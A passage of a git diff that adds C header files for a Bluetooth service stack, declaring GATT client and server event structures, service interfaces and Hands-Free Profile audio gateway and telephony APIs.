GATTC_REQ_UPDATE_PHY, + GATTC_REQ_READ_RSSI, +} gattc_request_t; + +typedef struct +{ + gattc_event_t event; + bt_address_t addr; + + union { + /** + * @brief GATTC_EVENT_CONNECT_CHANGE + */ + struct gattc_connect_change_evt_param { + int32_t state; + uint8_t reason; + } connect_change; + + /** + * @brief GATTC_EVENT_DISCOVER_RESULT + */ + struct gattc_discover_result_evt_param { + gatt_element_t* elements; + uint16_t size; + } discover_res; + + /** + * @brief GATTC_EVENT_DISOCVER_CMPL + */ + struct gattc_discover_complete_evt_param { + gatt_status_t status; + } discover_cmpl; + + /** + * @brief GATTC_EVENT_READ + */ + struct gattc_read_evt_param { + gatt_status_t status; + uint16_t element_id; + uint16_t length; + uint8_t value[0]; + } read; + + /** + * @brief GATTC_EVENT_WRITE + */ + struct gattc_write_evt_param { + gatt_status_t status; + uint16_t element_id; + } write; + + /** + * @brief GATTC_EVENT_SUBSCRIBE + */ + struct gattc_subscribe_evt_param { + gatt_status_t status; + uint16_t element_id; + bool enable; + } subscribe; + + /** + * @brief GATTC_EVENT_NOTIFY + */ + struct gattc_notify_evt_param { + bool is_notify; + uint16_t element_id; + uint16_t length; + uint8_t value[0]; + } notify; + + /** + * @brief GATTC_EVENT_MTU_UPDATE + */ + struct gattc_mtu_evt_param { + gatt_status_t status; + uint32_t mtu; + } mtu; + + /** + * @brief GATTC_EVENT_PHY + */ + struct gattc_phy_evt_param { + gatt_status_t status; + ble_phy_type_t tx_phy; + ble_phy_type_t rx_phy; + } phy; + + /** + * @brief GATTC_EVENT_RSSI_READ + */ + struct gattc_rssi_read_evt_param { + gatt_status_t status; + int32_t rssi; + } rssi_read; + + /** + * @brief GATTC_EVENT_CONN_PARAM_UPDATE + */ + struct gattc_conn_param_update_evt_param { + bt_status_t status; + uint16_t interval; + uint16_t latency; + uint16_t timeout; + } conn_param; + + } param; + +} gattc_msg_t; + +typedef struct +{ + gattc_request_t request; + + union { + + /** + * @brief GATTC_REQ_CONNECT + */ + struct gattc_connect_req_param { + bt_address_t addr; + ble_addr_type_t addr_type; + } connect; + + /** + * @brief GATTC_REQ_DISCONNECT + */ + struct gattc_disconnect_req_param { + void* conn_handle; + } disconnect; + + /** + * @brief GATTC_REQ_DISCOVER + */ + struct gattc_discover_req_param { + void* conn_handle; + gatt_discover_type_t type; + } discover; + + /** + * @brief GATTC_REQ_READ + */ + struct gattc_read_req_param { + void* conn_handle; + uint16_t attr_handle; + } read; + + /** + * @brief GATTC_REQ_WRITE + */ + struct gattc_write_req_param { + void* conn_handle; + uint16_t attr_handle; + gatt_write_type_t type; + } write; + + /** + * @brief GATTC_REQ_EXCHANGE_MTU + */ + struct gattc_exchange_mtu_req_param { + void* conn_handle; + uint32_t mtu; + } exchange_mtu; + + /** + * @brief GATTC_REQ_PHY + */ + struct gattc_phy_req_param { + void* conn_handle; + ble_phy_type_t tx_phy; + ble_phy_type_t rx_phy; + } phy; + + /** + * @brief GATTC_REQ_READ_RSSI + */ + struct gattc_read_rssi_req_param { + void* conn_handle; + } read_rssi; + + } param; + +} gattc_op_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +gattc_msg_t* gattc_msg_new(gattc_event_t event, bt_address_t* addr, uint16_t playload_length); +void gattc_msg_destory(gattc_msg_t* msg); +gattc_op_t* gattc_op_new(gattc_request_t request); +void gattc_op_destory(gattc_op_t* operation); + +#endif /* __GATTC_EVENT_H__ */ diff --git a/service/profiles/include/gattc_service.h b/service/profiles/include/gattc_service.h new file mode 100644 index 0000000000000000000000000000000000000000..3977d0a2af2979a2224d11a2f7b2d3283030e907 --- /dev/null +++ b/service/profiles/include/gattc_service.h @@ -0,0 +1,77 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __GATTC_SERVICE_H__ +#define __GATTC_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_gatt_defs.h" +#include "bt_gattc.h" +#include "gatt_define.h" + +/* + * sal callback + */ +void if_gattc_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); +void if_gattc_on_service_discovered(bt_address_t* addr, gatt_element_t* elements, uint16_t size); +void if_gattc_on_discover_completed(bt_address_t* addr, gatt_status_t status); +void if_gattc_on_element_read(bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length, gatt_status_t status); +void if_gattc_on_element_written(bt_address_t* addr, uint16_t element_id, gatt_status_t status); +void if_gattc_on_element_subscribed(bt_address_t* addr, uint16_t element_id, gatt_status_t status, bool enable); +void if_gattc_on_element_changed(bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length); +void if_gattc_on_mtu_changed(bt_address_t* addr, uint32_t mtu, gatt_status_t status); +void if_gattc_on_phy_read(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +void if_gattc_on_phy_updated(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, gatt_status_t status); +void if_gattc_on_rssi_read(bt_address_t* addr, int32_t rssi, gatt_status_t status); +void if_gattc_on_connection_parameter_updated(bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout, bt_status_t status); + +/* + * gattc remote + */ +void* if_gattc_get_remote(void* conn_handle); + +typedef struct gattc_interface { + size_t size; + bt_status_t (*create_connect)(void* remote, void** phandle, gattc_callbacks_t* callbacks); + bt_status_t (*delete_connect)(void* conn_handle); + bt_status_t (*connect)(void* conn_handle, bt_address_t* addr, ble_addr_type_t addr_type); + bt_status_t (*disconnect)(void* conn_handle); + bt_status_t (*discover_service)(void* conn_handle, bt_uuid_t* filter_uuid); + bt_status_t (*get_attribute_by_handle)(void* conn_handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc); + bt_status_t (*get_attribute_by_uuid)(void* conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc); + bt_status_t (*read)(void* conn_handle, uint16_t attr_handle); + bt_status_t (*write)(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + bt_status_t (*write_without_response)(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + bt_status_t (*write_signed)(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + bt_status_t (*subscribe)(void* conn_handle, uint16_t attr_handle, uint16_t ccc_value); + bt_status_t (*unsubscribe)(void* conn_handle, uint16_t attr_handle); + bt_status_t (*exchange_mtu)(void* conn_handle, uint32_t mtu); + bt_status_t (*update_connection_parameter)(void* conn_handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length); + bt_status_t (*read_phy)(void* conn_handle); + bt_status_t (*update_phy)(void* conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); + bt_status_t (*read_rssi)(void* conn_handle); +} gattc_interface_t; + +/* + * register profile to service manager + */ +void register_gattc_service(void); + +#endif /* __GATTC_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/gatts_event.h b/service/profiles/include/gatts_event.h new file mode 100644 index 0000000000000000000000000000000000000000..5e9b17a58ea9f951b412afc6ed787a6f87981e2c --- /dev/null +++ b/service/profiles/include/gatts_event.h @@ -0,0 +1,210 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __GATTS_EVENT_H__ +#define __GATTS_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bluetooth.h" +#include "bt_addr.h" +#include "gatt_define.h" +#include <stdint.h> +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +typedef enum { + GATTS_EVENT_ATTR_TABLE_ADDED, + GATTS_EVENT_ATTR_TABLE_REMOVED, + GATTS_EVENT_CONNECT_CHANGE, + GATTS_EVENT_READ_REQUEST, + GATTS_EVENT_WRITE_REQUEST, + GATTS_EVENT_MTU_CHANGE, + GATTS_EVENT_CHANGE_SEND, + GATTS_EVENT_PHY_READ, + GATTS_EVENT_PHY_UPDATE, + GATTS_EVENT_CONN_PARAM_CHANGE, +} gatts_event_t; + +typedef enum { + GATTS_REQ_ADD_ATTR_TABLE, + GATTS_REQ_REMOVE_ATTR_TABLE, + GATTS_REQ_CONNECT, + GATTS_REQ_DISCONNECT, + GATTS_REQ_NOTIFY, + GATTS_REQ_READ_PHY, + GATTS_REQ_UPDATE_PHY, +} gatts_request_t; + +typedef struct +{ + gatts_event_t event; + + union { + /** + * @brief GATTS_EVENT_ATTR_TABLE_ADDED + */ + struct gatts_attr_table_added_evt_param { + uint16_t element_id; + gatt_status_t status; + } added; + + /** + * @brief GATTS_EVENT_ATTR_TABLE_REMOVED + */ + struct gatts_attr_table_removed_evt_param { + uint16_t element_id; + gatt_status_t status; + } removed; + + /** + * @brief GATTS_EVENT_CONNECT_CHANGE + */ + struct gatts_connect_change_evt_param { + bt_address_t addr; + int32_t state; + uint8_t reason; + } connect_change; + + /** + * @brief GATTS_EVENT_READ_REQUEST + */ + struct gatts_read_evt_param { + bt_address_t addr; + uint16_t element_id; + uint32_t request_id; + } read; + + /** + * @brief GATTS_EVENT_WRITER_REQUEST + */ + struct gatts_write_evt_param { + bt_address_t addr; + uint16_t element_id; + uint32_t request_id; + uint16_t offset; + uint16_t length; + uint8_t value[0]; + } write; + + /** + * @brief GATTS_EVENT_MTU_CHANGE + */ + struct gatts_mtu_evt_param { + bt_address_t addr; + uint32_t mtu; + } mtu_change; + + /** + * @brief GATTS_EVENT_CHANGE_SEND + */ + struct gatts_send_change_evt_param { + bt_address_t addr; + uint16_t element_id; + gatt_status_t status; + } change_send; + + /** + * @brief GATTS_EVENT_PHY + */ + struct gatts_phy_evt_param { + bt_address_t addr; + gatt_status_t status; + ble_phy_type_t tx_phy; + ble_phy_type_t rx_phy; + } phy; + + /** + * @brief GATTS_EVENT_CONN_PARAM_CHANGE + */ + struct gatts_conn_param_evt_param { + bt_address_t addr; + uint16_t interval; + uint16_t latency; + uint16_t timeout; + } conn_param; + + } param; + +} gatts_msg_t; + +typedef struct +{ + gatts_request_t request; + + union { + + /** + * @brief GATTS_REQ_ADD_ATTR_TABLE + */ + struct gatts_start_req_param { + void* srv_handle; + } add; + + /** + * @brief GATTS_REQ_REMOVE_ATTR_TABLE + */ + struct gatts_stop_req_param { + void* srv_handle; + uint16_t attr_handle; + } remove; + + /** + * @brief GATTS_REQ_CONNECT + */ + struct gatts_connect_req_param { + bt_address_t addr; + ble_addr_type_t addr_type; + } connect; + + /** + * @brief GATTS_REQ_DISCONNECT + */ + struct gatts_disconnect_req_param { + void* srv_handle; + } disconnect; + + /** + * @brief GATTS_REQ_NOTIFY + */ + struct gatts_notify_req_param { + void* srv_handle; + uint16_t attr_handle; + } notify; + + /** + * @brief GATTS_REQ_PHY + */ + struct gatts_phy_req_param { + void* srv_handle; + ble_phy_type_t tx_phy; + ble_phy_type_t rx_phy; + } phy; + + } param; + +} gatts_op_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +gatts_msg_t* gatts_msg_new(gatts_event_t event, uint16_t playload_length); +void gatts_msg_destory(gatts_msg_t* msg); +gatts_op_t* gatts_op_new(gatts_request_t request); +void gatts_op_destory(gatts_op_t* operation); + +#endif /* __GATTS_EVENT_H__ */ diff --git a/service/profiles/include/gatts_service.h b/service/profiles/include/gatts_service.h new file mode 100644 index 0000000000000000000000000000000000000000..c1b099736e0c1d10d7267cf210522eda3165dd3e --- /dev/null +++ b/service/profiles/include/gatts_service.h @@ -0,0 +1,70 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __GATTS_SERVICE_H__ +#define __GATTS_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_gatt_defs.h" +#include "bt_gatts.h" +#include "gatt_define.h" + +/* + * sal callback + */ +void if_gatts_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); +void if_gatts_on_elements_added(gatt_status_t status, uint16_t element_id, uint16_t size); +void if_gatts_on_elements_removed(gatt_status_t status, uint16_t element_id, uint16_t size); +void if_gatts_on_received_element_read_request(bt_address_t* addr, uint32_t request_id, uint16_t element_id); +void if_gatts_on_received_element_write_request(bt_address_t* addr, uint32_t request_id, uint16_t element_id, + uint8_t* value, uint16_t offset, uint16_t length); +void if_gatts_on_mtu_changed(bt_address_t* addr, uint32_t mtu); +void if_gatts_on_notification_sent(bt_address_t* addr, uint16_t element_id, gatt_status_t status); +void if_gatts_on_phy_read(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +void if_gatts_on_phy_updated(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, gatt_status_t status); +void if_gatts_on_connection_parameter_changed(bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout); + +/* + * gatts remote + */ +void* if_gatts_get_remote(void* srv_handle); + +typedef struct gatts_interface { + size_t size; + bt_status_t (*register_service)(void* remote, void** phandle, gatts_callbacks_t* callbacks); + bt_status_t (*unregister_service)(void* srv_handle); + bt_status_t (*connect)(void* srv_handle, bt_address_t* addr, ble_addr_type_t addr_type); + bt_status_t (*disconnect)(void* srv_handle, bt_address_t* addr); + bt_status_t (*add_attr_table)(void* srv_handle, gatt_srv_db_t* srv_db); + bt_status_t (*remove_attr_table)(void* srv_handle, uint16_t attr_handle); + bt_status_t (*set_attr_value)(void* srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + bt_status_t (*get_attr_value)(void* srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t* length); + bt_status_t (*response)(void* srv_handle, bt_address_t* addr, uint32_t req_handle, uint8_t* value, uint16_t length); + bt_status_t (*notify)(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length); + bt_status_t (*indicate)(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length); + bt_status_t (*read_phy)(void* srv_handle, bt_address_t* addr); + bt_status_t (*update_phy)(void* srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +} gatts_interface_t; + +/* + * register profile to service manager + */ +void register_gatts_service(void); + +#endif /* __GATTS_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/hfp_ag_event.h b/service/profiles/include/hfp_ag_event.h new file mode 100644 index 0000000000000000000000000000000000000000..1ee32653489c3748edcdbdf95bd9549688be688e --- /dev/null +++ b/service/profiles/include/hfp_ag_event.h @@ -0,0 +1,112 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_AG_EVENT_H__ +#define __HFP_AG_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_addr.h" +#include <stdint.h> +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define AG_MSG_ADD_STR(msg, num, str, len) \ + if (str != NULL && len != 0) { \ + msg->data.string##num = malloc(len + 1); \ + msg->data.string##num[len] = '\0'; \ + memcpy(msg->data.string##num, str, len); \ + } else { \ + msg->data.string##num = NULL; \ + } + +typedef enum { + AG_CONNECT = 1, + AG_DISCONNECT = 2, + AG_CONNECT_AUDIO = 3, + AG_DISCONNECT_AUDIO = 4, + AG_VOICE_RECOGNITION_START = 5, + AG_VOICE_RECOGNITION_STOP = 6, + AG_PHONE_STATE_CHANGE = 7, + AG_DEVICE_STATUS_CHANGED = 8, + AG_SET_VOLUME = 9, + AG_SET_INBAND_RING_ENABLE = 10, + AG_DIALING_RESULT = 11, + AG_CLCC_RESPONSE = 12, + AG_START_VIRTUAL_CALL = 13, + AG_STOP_VIRTUAL_CALL = 14, + AG_SEND_AT_COMMAND = 18, + AG_SEND_VENDOR_SPECIFIC_AT_COMMAND, + AG_STARTUP = 20, + AG_SHUTDOWN = 21, + AG_CONNECT_TIMEOUT = 25, + AG_AUDIO_TIMEOUT = 26, + AG_OFFLOAD_START_REQ, + AG_OFFLOAD_STOP_REQ, + AG_OFFLOAD_START_EVT, + AG_OFFLOAD_STOP_EVT, + AG_OFFLOAD_TIMEOUT_EVT, + AG_STACK_EVENT = 32, + AG_STACK_EVENT_AUDIO_REQ, + AG_STACK_EVENT_CONNECTION_STATE_CHANGED, + AG_STACK_EVENT_AUDIO_STATE_CHANGED, + AG_STACK_EVENT_VR_STATE_CHANGED, + AG_STACK_EVENT_CODEC_CHANGED, + AG_STACK_EVENT_VOLUME_CHANGED, + AG_STACK_EVENT_AT_CIND_REQUEST, + AG_STACK_EVENT_AT_CLCC_REQUEST, + AG_STACK_EVENT_AT_COPS_REQUEST, + AG_STACK_EVENT_BATTERY_UPDATE, + AG_STACK_EVENT_ANSWER_CALL, + AG_STACK_EVENT_REJECT_CALL, + AG_STACK_EVENT_HANGUP_CALL, + AG_STACK_EVENT_DIAL_NUMBER, + AG_STACK_EVENT_DIAL_MEMORY, + AG_STACK_EVENT_CALL_CONTROL, + AG_STACK_EVENT_AT_COMMAND, + AG_STACK_EVENT_SEND_DTMF, + AG_STACK_EVENT_NREC_REQ +} hfp_ag_event_t; + +typedef struct +{ + bt_address_t addr; + void* func; + uint32_t valueint1; + uint32_t valueint2; + uint32_t valueint3; + uint32_t valueint4; + size_t size; + char* string1; + char* string2; + void* data; +} hfp_ag_data_t; + +typedef struct +{ + hfp_ag_event_t event; + hfp_ag_data_t data; +} hfp_ag_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +hfp_ag_msg_t* hfp_ag_msg_new(hfp_ag_event_t event, bt_address_t* addr); +hfp_ag_msg_t* hfp_ag_event_new_ext(hfp_ag_event_t event, bt_address_t* addr, + void* data, size_t size); +void hfp_ag_msg_destory(hfp_ag_msg_t* msg); + +#endif /* __HFP_HF_EVENT_H__ */ diff --git a/service/profiles/include/hfp_ag_service.h b/service/profiles/include/hfp_ag_service.h new file mode 100644 index 0000000000000000000000000000000000000000..051163105766e3fbbd02ab2e8d143ec87c08af00 --- /dev/null +++ b/service/profiles/include/hfp_ag_service.h @@ -0,0 +1,145 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_AG_SERVICE_H__ +#define __HFP_AG_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "audio_transport.h" +#include "bt_device.h" +#include "bt_hfp_ag.h" +#include "hfp_define.h" + +typedef enum { + HFP_AG_STATE_DISCONNECTED = 0, + HFP_AG_STATE_CONNECTING, + HFP_AG_STATE_DISCONNECTING, + HFP_AG_STATE_CONNECTED, + HFP_AG_STATE_AUDIO_CONNECTING, + HFP_AG_STATE_AUDIO_CONNECTED, + HFP_AG_STATE_AUDIO_DISCONNECTING +} hfp_ag_state_t; + +typedef struct { + hfp_network_state_t network; /* 0: unavailable, 1: available */ + hfp_roaming_state_t roam; /* 0: no roaming, 1: roaming */ + uint8_t signal; /* range in 0-5 */ + uint8_t battery; /* range in 0-5 */ + hfp_call_t call; /* 0: no call, 1: call in progress */ + hfp_callsetup_t call_setup; /* 0: no call setup, 1: incoming, 2: outgoing, 3: alerting */ + hfp_callheld_t call_held; /* 0: no call held, 1: callheld */ +} hfp_ag_cind_resopnse_t; + +/* + * sal callback + */ +void hfp_ag_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state, + profile_connection_reason_t reason, uint32_t remote_features); +void hfp_ag_on_audio_state_changed(bt_address_t* addr, hfp_audio_state_t state, uint16_t sco_connection_handle); +void hfp_ag_on_codec_changed(bt_address_t* addr, hfp_codec_config_t* config); +void hfp_ag_on_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); +void hfp_ag_on_received_cind_request(bt_address_t* addr); +void hfp_ag_on_received_clcc_request(bt_address_t* addr); +void hfp_ag_on_received_cops_request(bt_address_t* addr); +void hfp_ag_on_voice_recognition_state_changed(bt_address_t* addr, bool started); +void hfp_ag_on_remote_battery_level_update(bt_address_t* addr, uint8_t value); +void hfp_ag_on_answer_call(bt_address_t* addr); +void hfp_ag_on_reject_call(bt_address_t* addr); +void hfp_ag_on_hangup_call(bt_address_t* addr); +void hfp_ag_on_received_at_cmd(bt_address_t* addr, char* at_string, uint16_t at_length); +void hfp_ag_on_audio_connect_request(bt_address_t* addr); +void hfp_ag_on_dial_number(bt_address_t* addr, char* number, uint32_t length); +void hfp_ag_on_dial_memory(bt_address_t* addr, uint32_t location); +void hfp_ag_on_call_control(bt_address_t* addr, hfp_call_control_t control); +void hfp_ag_on_received_dtmf(bt_address_t* addr, char tone); +void hfp_ag_on_received_manufacture_request(bt_address_t* addr); +void hfp_ag_on_received_model_id_request(bt_address_t* addr); +void hfp_ag_on_received_nrec_request(bt_address_t* addr, uint8_t nrec); + +/* + * statemachine callbacks + */ +void ag_service_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); +void ag_service_notify_audio_state_changed(bt_address_t* addr, hfp_audio_state_t state); +void ag_service_notify_vr_state_changed(bt_address_t* addr, bool started); +void ag_service_notify_hf_battery_update(bt_address_t* addr, uint8_t value); +void ag_service_notify_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); +void ag_service_notify_call_answered(bt_address_t* addr); +void ag_service_notify_call_rejected(bt_address_t* addr); +void ag_service_notify_call_hangup(bt_address_t* addr); +void ag_service_notify_call_dial(bt_address_t* addr, const char* number); +void ag_service_notify_cmd_received(bt_address_t* addr, const char* at_cmd); +void ag_service_notify_vendor_specific_cmd(bt_address_t* addr, const char* command, uint16_t company_id, const char* value); +void ag_service_notify_clcc_cmd(bt_address_t* addr); + +/* + * telephony + */ +bt_status_t hfp_ag_phone_state_change(bt_address_t* addr, uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name); +bt_status_t hfp_ag_device_status_changed(bt_address_t* addr, hfp_network_state_t network, + hfp_roaming_state_t roam, uint8_t signal, uint8_t battery); +bt_status_t hfp_ag_dial_result(uint8_t result); + +/* + * service api + */ + +bool hfp_ag_on_sco_start(void); +bool hfp_ag_on_sco_stop(void); + +typedef struct ag_interface { + size_t size; + void* (*register_callbacks)(void* remote, const hfp_ag_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** remote, void* cookie); + bool (*is_connected)(bt_address_t* addr); + bool (*is_audio_connected)(bt_address_t* addr); + profile_connection_state_t (*get_connection_state)(bt_address_t* addr); + bt_status_t (*connect)(bt_address_t* addr); + bt_status_t (*disconnect)(bt_address_t* addr); + bt_status_t (*connect_audio)(bt_address_t* addr); + bt_status_t (*disconnect_audio)(bt_address_t* addr); + bt_status_t (*start_virtual_call)(bt_address_t* addr); + bt_status_t (*stop_virtual_call)(bt_address_t* addr); + bt_status_t (*start_voice_recognition)(bt_address_t* addr); + bt_status_t (*stop_voice_recognition)(bt_address_t* addr); + bt_status_t (*phone_state_change)(bt_address_t* addr, uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name); + bt_status_t (*device_status_changed)(bt_address_t* addr, hfp_network_state_t network, + hfp_roaming_state_t roam, uint8_t signal, uint8_t battery); + bt_status_t (*volume_control)(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); + bt_status_t (*dial_response)(uint8_t result); + bt_status_t (*send_at_command)(bt_address_t* addr, const char* at_command); + bt_status_t (*send_vendor_specific_at_command)(bt_address_t* addr, const char* command, const char* value); + bt_status_t (*send_clcc_response)(bt_address_t* addr, uint32_t index, hfp_call_direction_t dir, + hfp_ag_call_state_t state, hfp_call_mode_t mode, hfp_call_mpty_type_t mpty, + hfp_call_addrtype_t type, const char* number); +} hfp_ag_interface_t; + +/* + * register audio gate-way to service manager + */ +void register_hfp_ag_service(void); + +/* + * get local supported features + */ +uint32_t hfp_ag_get_local_features(void); + +#endif /* __HFP_AG_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/hfp_ag_state_machine.h b/service/profiles/include/hfp_ag_state_machine.h new file mode 100644 index 0000000000000000000000000000000000000000..8a699bc45ac4562790722ab8919d9db3001d38da --- /dev/null +++ b/service/profiles/include/hfp_ag_state_machine.h @@ -0,0 +1,41 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_AG_STATE_MACHINE_H__ +#define __HFP_AG_STATE_MACHINE_H__ + +#include "hfp_ag_event.h" +#include "service_loop.h" +#include "state_machine.h" + +typedef enum pending_state { + PENDING_NONE = 0x0, + PENDING_OFFLOAD_START = 0x02, + PENDING_OFFLOAD_STOP = 0x04, + PENDING_DISCONNECT = 0x08, +} pending_state_t; + +typedef struct _ag_state_machine ag_state_machine_t; + +ag_state_machine_t* ag_state_machine_new(bt_address_t* addr, void* context); +void ag_state_machine_destory(ag_state_machine_t* agsm); +void ag_state_machine_dispatch(ag_state_machine_t* agsm, hfp_ag_msg_t* msg); +uint32_t ag_state_machine_get_state(ag_state_machine_t* agsm); +uint16_t ag_state_machine_get_sco_handle(ag_state_machine_t* agsm); +void ag_state_machine_set_sco_handle(ag_state_machine_t* agsm, uint16_t sco_hdl); +uint8_t ag_state_machine_get_codec(ag_state_machine_t* agsm); +void ag_state_machine_set_offloading(ag_state_machine_t* agsm, bool offloading); + +#endif /* __HFP_AG_STATE_MACHINE_H__ */ diff --git a/service/profiles/include/hfp_ag_tele_service.h b/service/profiles/include/hfp_ag_tele_service.h new file mode 100644 index 0000000000000000000000000000000000000000..ad17a8dba77d0a7a73f5fe98d136e0ede39d6e7f --- /dev/null +++ b/service/profiles/include/hfp_ag_tele_service.h @@ -0,0 +1,35 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_TELE_SERVICE_H__ +#define __BT_TELE_SERVICE_H__ + +#include "bt_status.h" + +void tele_service_init(void); +void tele_service_cleanup(void); +bt_status_t tele_service_dial_number(char* number); +bt_status_t tele_service_answer_call(void); +bt_status_t tele_service_reject_call(void); +bt_status_t tele_service_hangup_call(void); +bt_status_t tele_service_call_control(uint8_t chld); +void tele_service_get_phone_state(uint8_t* num_active, uint8_t* num_held, + uint8_t* call_state); +void tele_service_query_current_call(bt_address_t* addr); +char* tele_service_get_operator(void); +bt_status_t tele_service_get_network_info(hfp_network_state_t* network, + hfp_roaming_state_t* roam, + uint8_t* signal); +#endif /* __BT_TELE_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/hfp_define.h b/service/profiles/include/hfp_define.h new file mode 100644 index 0000000000000000000000000000000000000000..57dd51ad920216d8755549150a784b87ef5b6585 --- /dev/null +++ b/service/profiles/include/hfp_define.h @@ -0,0 +1,123 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the 